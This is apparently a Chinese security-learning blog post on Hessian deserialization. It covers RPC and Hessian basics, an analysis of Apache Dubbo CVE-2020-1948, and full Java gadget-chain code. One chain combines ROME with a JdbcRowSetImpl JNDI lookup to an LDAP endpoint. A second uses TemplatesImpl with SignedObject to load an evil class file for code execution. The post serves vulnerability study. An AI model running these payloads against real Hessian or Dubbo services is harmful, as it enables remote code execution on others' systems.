RPC协议

RPC全称为Remote Procedure Call Protocol(远程调用协议),RPC和之前学的RMI十分类似,都是远程调用服务,它们不同之处就是RPC是通过标准的二进制格式来定义请求的信息,这样跨平台和系统就更加方便

RPC协议的一次远程通信过程如下:

  • 客户端发起请求,并按照RPC协议格式填充信息
  • 填充完毕后将二进制格式文件转化为流,通过传输协议进行传输
  • 服务端接收到流后,将其转换为二进制格式文件,并按照RPC协议格式获取请求的信息并进行处理
  • 处理完毕后将结果按照RPC协议格式写入二进制格式文件中并返回

Hessian协议

Hessian是一个基于RPC的高性能二进制远程传输协议,官方对Java、Python、C++......语言都进行了实现,Hessian一般在Web服务中使用,在Java里它的使用方法很简单,它定义远程对象,并通过二进制的格式进行传输。

Hessian的简单使用

环境依赖

 <dependency>
<groupId>com.caucho</groupId>
<artifactId>hessian</artifactId>
<version>4.0.63</version>
</dependency>

Demo

package org.example;
import java.io.Serializable; public class Person implements Serializable {
public String name;
public int age; public int getAge() {
return age;
} public String getName() {
return name;
} public void setAge(int age) {
this.age = age;
} public void setName(String name) {
this.name = name;
}
}
package org.example;

import com.caucho.hessian.io.HessianInput;
import com.caucho.hessian.io.HessianOutput; import java.io.ByteArrayInputStream;
import java.io.ByteArrayOutputStream;
import java.io.IOException; public class Hessian_test {
public static <T> byte[] serialize(T o) throws IOException {
ByteArrayOutputStream bao = new ByteArrayOutputStream();
HessianOutput output = new HessianOutput(bao);
output.writeObject(o);
System.out.println(bao.toString());
return bao.toByteArray();
}
public static <T> T deserialize(byte[] bytes) throws IOException {
ByteArrayInputStream bis = new ByteArrayInputStream(bytes);
HessianInput input = new HessianInput(bis);
Object o = input.readObject();
return (T) o;
} public static void main(String[] args) throws IOException {
Person person = new Person();
person.setName("F12");
person.setAge(20);
byte[] s = serialize(person);
System.out.println((Person) deserialize(s));
}
}

感觉就是ObjectStream的一个替换,跟原生的并没有太大差异

Hessian反序列化漏洞

package org.example;

import com.caucho.hessian.io.HessianInput;
import com.caucho.hessian.io.HessianOutput;
import com.sun.rowset.JdbcRowSetImpl;
import com.sun.syndication.feed.impl.EqualsBean;
import com.sun.syndication.feed.impl.ToStringBean; import java.io.ByteArrayInputStream;
import java.io.ByteArrayOutputStream;
import java.io.IOException;
import java.io.Serializable;
import java.lang.reflect.Array;
import java.lang.reflect.Constructor;
import java.lang.reflect.Field;
import java.util.HashMap; public class Hessian_JNDI implements Serializable {
public static <T> byte[] serialize(T o) throws IOException {
ByteArrayOutputStream bao = new ByteArrayOutputStream();
HessianOutput output = new HessianOutput(bao);
output.writeObject(o);
System.out.println(bao.toString());
return bao.toByteArray();
} public static <T> T deserialize(byte[] bytes) throws IOException {
ByteArrayInputStream bai = new ByteArrayInputStream(bytes);
HessianInput input = new HessianInput(bai);
Object o = input.readObject();
return (T) o;
} public static void setValue(Object obj, String name, Object value) throws Exception{
Field field = obj.getClass().getDeclaredField(name);
field.setAccessible(true);
field.set(obj, value);
} public static Object getValue(Object obj, String name) throws Exception{
Field field = obj.getClass().getDeclaredField(name);
field.setAccessible(true);
return field.get(obj);
} public static void main(String[] args) throws Exception {
JdbcRowSetImpl jdbcRowSet = new JdbcRowSetImpl();
String url = "ldap://localhost:1099/EXP";
jdbcRowSet.setDataSourceName(url); ToStringBean toStringBean = new ToStringBean(JdbcRowSetImpl.class,jdbcRowSet);
EqualsBean equalsBean = new EqualsBean(ToStringBean.class,toStringBean); //手动生成HashMap,防止提前调用hashcode()
HashMap hashMap = makeMap(equalsBean,"1"); byte[] s = serialize(hashMap);
System.out.println(s);
System.out.println((HashMap)deserialize(s));
} public static HashMap<Object, Object> makeMap ( Object v1, Object v2 ) throws Exception {
HashMap<Object, Object> s = new HashMap<>();
setValue(s, "size", 2);
Class<?> nodeC;
try {
nodeC = Class.forName("java.util.HashMap$Node");
}
catch ( ClassNotFoundException e ) {
nodeC = Class.forName("java.util.HashMap$Entry");
}
Constructor<?> nodeCons = nodeC.getDeclaredConstructor(int.class, Object.class, Object.class, nodeC);
nodeCons.setAccessible(true); Object tbl = Array.newInstance(nodeC, 2);
Array.set(tbl, 0, nodeCons.newInstance(0, v1, v1, null));
Array.set(tbl, 1, nodeCons.newInstance(0, v2, v2, null));
setValue(s, "table", tbl);
return s;
}
}

搭个ldap恶意服务,运行代码成功弹出计算器,分析一下流程,readObject处打个断点,在readObject中计算tag的值进行一个Switch,我们这里计算出来是77也就是M



跟进readMap



获取到一个空的Deserializer对象,直接跟进readMap



这里创建了一个Map对象,将我们的恶意序列化数据put进去,这里调用了2次readObject,因此我们会重复几次也会弹好几个计算器,重复过程结束后回到put方法,进入put触发的就是常规rome链,似乎非常的easy

Apache Dubbo Hessian反序列化漏洞(CVE-2020-1948)

环境搭建

直接偷大佬搭好的:https://github.com/Claradoll/Security_Learning

启动Dubbo之前得准备一些东西,需要安装Dubbo,选用Zookeeper作为注册中心(Registry),Apache Dubbo框架的流程如下

  1. 首先服务容器加载并运行Provider
  2. Provider在启动时向注册中心Registry注册自己提供的服务
  3. Consumer在Registry处订阅Provider提供的服务
  4. 注册中心返回服务地址给Consumer
  5. Consumer根据Registry提供的服务地址调用Provider提供的服务
  6. Consumer和Provider定时向监控中心Monitor发送一些统计数据

https://dlcdn.apache.org/zookeeper/zookeeper-3.8.4/

下载好后配置一下conf文件夹里的zoo.cfg文件,一开始不叫这个名字,改一下,添加这两个东西,data和log目录自己创建

dataDir=D:\Environment\Java\apache-zookeeper-3.8.4-bin\data
dataLogDir=D:\Environment\Java\apache-zookeeper-3.8.4-bin\log

先启动zookeeper,bin目录下启动zkServer.cmd,然后IDEA里分别启动provider和consumer,访问这样就搭建成功了,consumer相当于客户端,provider就是服务端

反序列化漏洞分析

同样是JNDI注入触发rome链,攻击逻辑里面已经写好了,我们访问calc路由即可弹出计算器

这里分析一下Dubbo是怎么处理的,在服务端打个断点



再给DecodeableRpcInvocation的decode方法打个断点,方便调试



打完断点访问calc路由,进入decode方法



这一段代码获取了远程接口对象的路径和类型,以及dubbo的版本等等信息,但是在最后进行了反序列化,并且这里的in输入流是Hessian2对象



之后就是Hessian反序列化的流程了,为什么别的博主到这里tag变成了72,而我还是77,又一谜题,77常规的Hessian反序列化,就不往下分析了,可以去看看72的分析过程,不过大差不差

Hessian二次反序列化利用链

TemplatesImpl+SignedObject二次反序列化

上面确实有个疑惑是为什么要用JNDI,而不是单纯的TemplatesImpl链,在这里得到了解答,这是由于Hessian反序列化和Java原生反序列化的区别,如果用TemplatesImpl打的话,运行会报错

这是因为Tempaltes的_tfactory被transient修饰符修饰了,不可进行反序列化



那为什么原生的Java反序列化不会受到这个限制呢。这是因为原生反序列化过程中,假如类的readObject重写了,那就会调用它重写的逻辑,因此看看Templates类的readObject方法:



这里手动new了一个TransformerFactoryImpl实例,这样就不会遇到那种问题了

那既然如此,我们该如何绕过这个限制呢?思路其实很清晰,就是找一个类,那个类里有原生的readObject,这样就可以通过它触发二次反序列化,得以RCE,这个类也有一些要求,那就是要接上我们之前的Rome链子,在调用任意get和set那里接上,那么就要求目标类的get或者set方法中有readObject方法,刚好上篇讲的二次反序列化,这里就能够用到

package com.example.dubboconsumer.consumer;

import com.alibaba.com.caucho.hessian.io.Hessian2Input;
import com.alibaba.com.caucho.hessian.io.Hessian2Output;
import com.rometools.rome.feed.impl.EqualsBean;
import com.rometools.rome.feed.impl.ToStringBean;
import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl; import javax.management.BadAttributeValueExpException;
import javax.xml.transform.Templates;
import java.io.ByteArrayInputStream;
import java.io.ByteArrayOutputStream;
import java.io.IOException;
import java.lang.reflect.Array;
import java.lang.reflect.Constructor;
import java.lang.reflect.Field;
import java.nio.file.Files;
import java.nio.file.Paths;
import java.security.*;
import java.util.HashMap; public class Hessian_TemplatesImpl { public static void main(String[] args) throws Exception {
TemplatesImpl templatesimpl = new TemplatesImpl(); byte[] bytecodes = Files.readAllBytes(Paths.get("D:\\Java安全学习\\evilref.class")); setValue(templatesimpl,"_name","aaa");
setValue(templatesimpl,"_bytecodes",new byte[][] {bytecodes});
setValue(templatesimpl, "_tfactory", new TransformerFactoryImpl()); ToStringBean toStringBean = new ToStringBean(Templates.class,templatesimpl);
BadAttributeValueExpException badAttributeValueExpException = new BadAttributeValueExpException(123);
setValue(badAttributeValueExpException,"val",toStringBean); KeyPairGenerator keyPairGenerator;
keyPairGenerator = KeyPairGenerator.getInstance("DSA");
keyPairGenerator.initialize(1024);
KeyPair keyPair = keyPairGenerator.genKeyPair();
PrivateKey privateKey = keyPair.getPrivate();
Signature signingEngine = Signature.getInstance("DSA"); SignedObject signedObject = new SignedObject(badAttributeValueExpException,privateKey,signingEngine); ToStringBean toStringBean1 = new ToStringBean(SignedObject.class, signedObject); EqualsBean equalsBean = new EqualsBean(ToStringBean.class,toStringBean1); HashMap hashMap = makeMap(equalsBean, equalsBean); byte[] payload = Hessian2_Serial(hashMap);
Hessian2_Deserial(payload);
} public static byte[] Hessian2_Serial(Object o) throws IOException {
ByteArrayOutputStream baos = new ByteArrayOutputStream();
Hessian2Output hessian2Output = new Hessian2Output(baos);
hessian2Output.writeObject(o);
hessian2Output.flushBuffer();
return baos.toByteArray();
} public static Object Hessian2_Deserial(byte[] bytes) throws IOException {
ByteArrayInputStream bais = new ByteArrayInputStream(bytes);
Hessian2Input hessian2Input = new Hessian2Input(bais);
Object o = hessian2Input.readObject();
return o;
} public static HashMap<Object, Object> makeMap (Object v1, Object v2 ) throws Exception {
HashMap<Object, Object> s = new HashMap<>();
setValue(s, "size", 2);
Class<?> nodeC;
try {
nodeC = Class.forName("java.util.HashMap$Node");
}
catch ( ClassNotFoundException e ) {
nodeC = Class.forName("java.util.HashMap$Entry");
}
Constructor<?> nodeCons = nodeC.getDeclaredConstructor(int.class, Object.class, Object.class, nodeC);
nodeCons.setAccessible(true); Object tbl = Array.newInstance(nodeC, 2);
Array.set(tbl, 0, nodeCons.newInstance(0, v1, v1, null));
Array.set(tbl, 1, nodeCons.newInstance(0, v2, v2, null));
setValue(s, "table", tbl);
return s;
} public static void setValue(Object obj, String name, Object value) throws Exception{
Field field = obj.getClass().getDeclaredField(name);
field.setAccessible(true);
field.set(obj, value);
}
}

运行即可弹计算器

Hessian反序列化分析的更多相关文章

  1. hessian 反序列化问题

    有class 比如 class Test{ private TestArrayList list=new TestArrayList(""); public static void ...

  2. Hessian 原理分析

    Hessian 原理分析 一.远程通讯协议的基本原理 网络通信需要做的就是将流从一台计算机传输到另外一台计算机,基于传输协议和网络 IO 来实现,其中传输协议比较出名的有 http . tcp . u ...

  3. fastjson及其反序列化分析--TemplatesImpl

    fastjson及其反序列化分析 源码取自 https://www.github.com/ZH3FENG/PoCs-fastjson1241 参考 (23条消息) Json详解以及fastjson使用 ...

  4. [JavaWeb]反序列化分析(二)--CommonCollections1

    反序列化分析(二)--CommonCollections1 链子分析 首先新建一个TransformedMap,其中二三参数为可控,后续要用到 当TransformedMap执行put方法时,会分别执 ...

  5. Java安全之SnakeYaml反序列化分析

    Java安全之SnakeYaml反序列化分析 目录 Java安全之SnakeYaml反序列化分析 写在前面 SnakeYaml简介 SnakeYaml序列化与反序列化 常用方法 序列化 反序列化 Sn ...

  6. javasec(五)URLDNS反序列化分析

    这篇文章介绍 URLDNS 就是ysoserial中⼀个利⽤链的名字,但准确来说,这个其实不能称作"利⽤链".因为其参数不是⼀个可以"利⽤"的命令,⽽仅为⼀个U ...

  7. Hessian 原理分析--转

    原文地址:http://blog.csdn.net/zhtang0526/article/details/4788879 一.      远程通讯协议的基本原理 网络通信需要做的就是将流从一台计算机传 ...

  8. Hessian原理分析

    一.      远程通讯协议的基本原理 网络通信需要做的就是将流从一台计算机传输到另外一台计算机,基于传输协议和网络 IO 来实现,其中传输协议比较出名的有 http . tcp . udp 等等, ...

  9. weblogic之CVE-2016-0638反序列化分析

    此漏洞是基于CVE-2015-4852漏洞进行黑名单的绕过,CVE-2015-4852补丁主要应用在三个位置上 weblogic.rjvm.InboundMsgAbbrev.class :: Serv ...

  10. shiro<1.2.4反序列化分析

    0x01.环境搭建 下载地址:https://codeload.github.com/apache/shiro/zip/shiro-root-1.2.4 环境:Tomcat 8.5.27 + idea ...

随机推荐

  1. 【Azure Developer】PHP网站使用AAD授权登录的参考示例

    问题描述 如果有个PHP网站,需要使用AAD授权登录,有没有PHP代码实例 可供参考呢? 参考代码 参考一篇博文(Single sign-on with Azure AD in PHP),学习使用SS ...

  2. FolkMQ 作个简单的消息中间件(最简单的那种), v1.3.1 发布

    功能简介 角色 功能 生产端(或发起端) 发布消息.定时消息(或叫延时).顺序消息.可过期消息.事务消息.发送消息(rpc)支持 Qos0.Qos1 消费端(或接收端) 订阅.取消订阅.消费-ACK( ...

  3. 使用Order By NULL 解决 group by后自动排序,优化Sql性能

    使用Order By NULL 解决 group by后自动排序,优化Sql性能 对于 Group by 后的结果,Mysql搜索引擎会将结果按照Group by 的字段按照升序,自动排序,例如: t ...

  4. Redis项目常见解决方案

    ## 1. 缓存预热 在项目启动,或者服务器重启后, 因为请求量较大, 此时对关系型数据库的访问量就有可能超标,导致服务卡顿,宕机, 所以在启动前应该对缓存进行预热: 前置准备工作: 日常例行统计数据 ...

  5. nginx部署SSL证书后,使用域名访问报错-net::ERR_SSL_PROTOCOL_ERROR

    一.问题由来 最近在做一个小程序的后台,自己去微信官网上查看了相关的规定,小程序正式发布时,要求比较严格,必须是使用https+域名访问,自己在 阿里云购买了一个域名,可是没有备案.SSL证书去阿里云 ...

  6. 【预训练语言模型】BERT原理解析、常见问题和微调实战

    一.BERT原理 1.概述        背景:通过在大规模语料上预训练语言模型,可以显著提高其在NLP下游任务的表现.        动机:限制模型潜力的主要原因在于现有模型使用的都是单向的语言模型 ...

  7. stm32 文件系统数据读写源码解析

    一 概念 fatfs文件系统在文件读写中不可或却.熟悉和深入理解是一个不可或缺的前提. 这里面需要先明确几个概念:文件open的属性,这个非常重要.可以并列使用. 二  源码解析 A  写入数据: i ...

  8. 手撕fft系列之频移fftshift源码解析

    壹: fft在数字信号处理领域是一个神一样的存在.要好好熟悉一下.这里给出频移的算法源码解析. 所谓的频移,就是把数字信号的频频顺序打乱,移动一些.这个在防止啸叫和辅听领域应用十分广泛. 贰: 这个源 ...

  9. AOSP下载且编译

    一.简介 AOSP:Android Open Source Project 二.环境要求 我们可以先了解官网(https://source.android.com/docs/setup/start/r ...

  10. 编码ascii码,unicode码,utf-8编码

    1. ASCII ASCII 只有127个字符,表示英文字母的大小写.数字和一些符号,但由于其他语言用ASCII 编码表示字节不够,例如:常用中文需要两个字节,且不能和ASCII冲突,中国定制了GB2 ...